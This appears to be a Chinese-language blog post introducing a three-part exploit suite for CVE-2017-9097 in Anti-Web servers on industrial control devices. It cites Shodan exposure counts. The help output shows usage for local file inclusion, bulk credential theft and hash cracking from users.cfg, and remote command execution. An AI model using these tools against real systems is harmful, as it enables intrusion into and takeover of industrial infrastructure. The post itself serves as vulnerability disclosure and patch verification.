在运行于Anti-Web服务器(最高版本3.8.7)上的ICS/OT相关Web应用程序中发现了一个漏洞。已识别的漏洞影响工业过程自动化和电信行业的多个知名制造商。这些设备已有两个类似且古老的CVE(CVE-2010-4730 和 CVE-2010-4733),在报告后获得了第三个CVE(2017-9097),随后供应商立即发布了补丁。紧接着其他补丁也相继发布。
为了大致了解这些设备的暴露程度,我们利用Shodan上索引的主机,发现潜在易受攻击的设备略多于800台。

关于我们的工具试图利用的LFI,如今受影响的不同供应商都已拥有各自相应的官方补丁来修复该漏洞。因此,尝试利用该漏洞在一定程度上是为了验证操作员和这些技术负责人的承诺,回答一个根本性问题:“相应的补丁是否已经安装?”
第一个工具旨在利用并确认LFI的存在。第二个工具试图利用LFI,获取保存Web面板访问凭据的文件。其中用户名是明文,密码经过MD5哈希,工具将尝试破解这些哈希。 最后,第三个工具将利用一个RCE漏洞。
usr@pwn:~$ git clone https://github.com/ezelf/AntiWeb_testing-Suite
usr@pwn:~$ cd AntiWeb_testing-Suite
usr@pwn:~$ ls -l
total 16
drwxr-xr-x 4 root root 4096 sep 14 21:05 LFI
drwxr-xr-x 4 root root 4096 sep 14 21:05 RCE
-rwxrwxr-x 1 root root 1852 sep 24 08:42 README.md
drwxr-xr-x 3 root root 4096 sep 24 08:00 seekAndDestroy
仅用于确认LFI的存在,通过查询预定义的路径和/或允许用户提供自己的路径。 (可选)用户可以传递一个有效的会话cookie。
usr@pwn:~$ python anti-web-v1.py --help
usage: anti-web.py [-h] [-v] --host HOST [--port PORT] [--file LFI]
[+] CVE: CVE-2017-9097
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--port PORT Set port (default = 80)
--file LFI Test LFI
-ck COOKIE Set Cookie
[+] Demo: anti-web.py --host 192.168.1.100 --port 80

该工具旨在充分利用LFI。它指向文件 "/home/config/users.cfg",该文件包含允许访问Web应用程序的凭据。

"Seek And Destroy" 解析此文件,识别出与密码和用户名拼接后经过MD5哈希函数处理对应的哈希值。 通过预计算列表,将逐步揭示这些哈希背后隐藏的内容。

可以单独攻击一个主机或一个主机列表。
usr@pwn:~$ python seekAndDestroy.py --help
usage: seekAndDestroy.py [-h] [-v] [--host HOST] [--list HOST_LIST]
[--port PORT]
[+] Obtain and break the credentials of your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST host
--list HOST_LIST hosts
--port PORT set port (default = 80)
[+] Usage: seelAndDestroy.py --list host_list.txt --port 8080
现在我们来到了也许是最有趣的部分:能够在支持易受攻击系统的硬件上执行操作系统命令。 *** "从HTTP到Shell" ***
.

#### 未完待续...(明天是周一。xd)
usr@pwn:~$ python rce.py --help
usage: RCE.py [-h] [-v] --host HOST [--port PORT] -ck COOKIE --cmd COMMAND
[+] COMMANDS over your industrial control system .
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
--host HOST Host
--port PORT Port
-ck COOKIE Cookie
--cmd COMMAND Command
[+] Demo: python rce.py --host <host> -ck <sessionCookie> --cmd "ls -la /"
....等待
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9097
* https://ics-cert.us-cert.gov/advisories/ICSA-17-222-05
* https://www.seebug.org/vuldb/ssvid-96555 (RCE)
* https://www.seebug.org/vuldb/ssvid-96556 (LFI)
* https://vuldb.com/es/?id.102570
* https://github.com/hoytech/antiweb/
* https://nvd.nist.gov/vuln/detail/CVE-2017-9097
* https://www.9165619.com/vulnerability/cve-2017-9097-89702
* http://old.cnnvd.org.cn/vulnerability/show/cv_id/2017051027
* http://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-005240.html
* http://plugins.openvas.org/nasl.php?oid=106886 (*down)
* http://webcache.googleusercontent.com/search?q=cache:Z1VaYjaZLB4J:plugins.openvas.org/nasl.php%3Foid%3D106886+&cd=1&hl=es-419&ct=clnk&gl=cl
''' [+] CVE-2009-4462 ( Intellicom NetBiterConfig.exe ) [+] CVE-2009-4463 ( Intellicom NetBiterConfig.exe ) (http://blog.48bits.com/exposing-hms-hicp-protocol-0day-light/)
[+] CVE-2010-4730 ( Directory traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4731 ( Absolute path traversal vulnerability in cgi-bin/read.cgi in WebSCADA )
[+] CVE-2010-4732 ( RCE, using a config.html 2.conf action to replace the logo page's GIF image file )
[+] CVE-2010-4733 ( default username and password to obtain superadmin access via the web interface )
Intellicom NetBiter products based on the NB100 and NB200 platforms, including:
WebSCADA (WS100)
WebSCADA (WS200)
Easy Connect (EC150)
Modbus RTU – TCP Gateway (MB100)
Serial Ethernet Server (SS100).
* https://ics-cert.us-cert.gov/advisories/ICSA-10-316-01A
'''
相关工具位于 (AntiWeb_testing-Suite): https://github.com/ezelf/AntiWeb_testing-Suite/
结合三个工具的第一个测试版视频: https://www.youtube.com/watch?v=HdkZA1DO08Y